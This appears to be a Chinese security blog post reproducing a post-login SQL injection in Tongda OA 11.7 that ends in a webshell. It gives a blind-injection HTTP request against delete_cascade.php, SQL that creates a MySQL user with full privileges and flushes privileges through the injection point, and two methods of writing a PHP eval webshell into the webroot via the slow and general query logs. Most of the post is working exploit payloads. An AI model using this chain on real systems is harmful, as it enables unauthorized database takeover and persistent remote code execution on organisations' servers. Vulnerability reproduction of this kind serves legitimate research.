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通达OA 11.7 后台sql注入getshell漏洞复现

渗透测试 Adminxe 150℃ 0评论

0x00 漏洞描述

 通达OA 11.7存在sql注入

0x01 漏洞影响版本

 通达oa 11.7

利用条件:需要账号登录 

0x02 漏洞复现

1、下载通达OA 11.7,https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe,点击安装

2、condition_cascade参数存在布尔盲注

POC:

GET /general/hr/manage/query/delete_cascade.php?condition_cascade=select if((substr(user(),1,1)='r'),1,power(9999,99)) HTTP/1.1
Host: 192.168.77.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
X-Requested-With: XMLHttpRequest
Referer: http://192.168.77.137/general/index.php?isIE=0&modify_pwd=0
Cookie: PHPSESSID=ebpjtm5tqh5tvida5keba73fr0; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c71fa06d
DNT: 1
Connection: close

3、经过测试,过滤了一些函数(sleep、报错的函数等等),各种注释,使用payload:select if((1=1),1,power(9999,99))、select if((1=2),1,power(9999,99)),判断注入点 #当字符相等时,不报错,错误时报错

4、通过添加用户at666,密码为abcABC@123

grant all privileges ON mysql.* TO ‘at666’@’%’ IDENTIFIED BY ‘abcABC@123’ WITH GRANT OPTION

5、使用Navicat Premium连接数据库

6、添加的账户不能直接通过日志慢查询写入文件,需要给创建的账户添加权限

UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));

7、然后用注入点刷新权限,因为该用户是没有刷新权限的权限的

general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;

8、再次登录,提示密码过期,需要重新执行grant all privileges ON mysql.* TO ‘at666’@’%’ IDENTIFIED BY ‘abcABC@123’ WITH GRANT OPTION

9、然后写shell

方法一:

select @@basedir;

set global slow_query_log=on;

set global slow_query_log_file=’C:/tongda11.7/webroot/test.php’;

select ‘<?php eval($_POST[x]);?>’ or sleep(11);

方法二:

select @@basedir;

set global general_log = on;

set global general_log_file =’C:/tongda11.7/webroot/test2.php’;

select ‘<?php eval($_POST[test2]);?>’;

show variables like ‘%general%’;

10、菜刀连接

0x03 参考链接

参考:https://mp.weixin.qq.com/s/8rvIT1y_odN2obJ1yAvLbw

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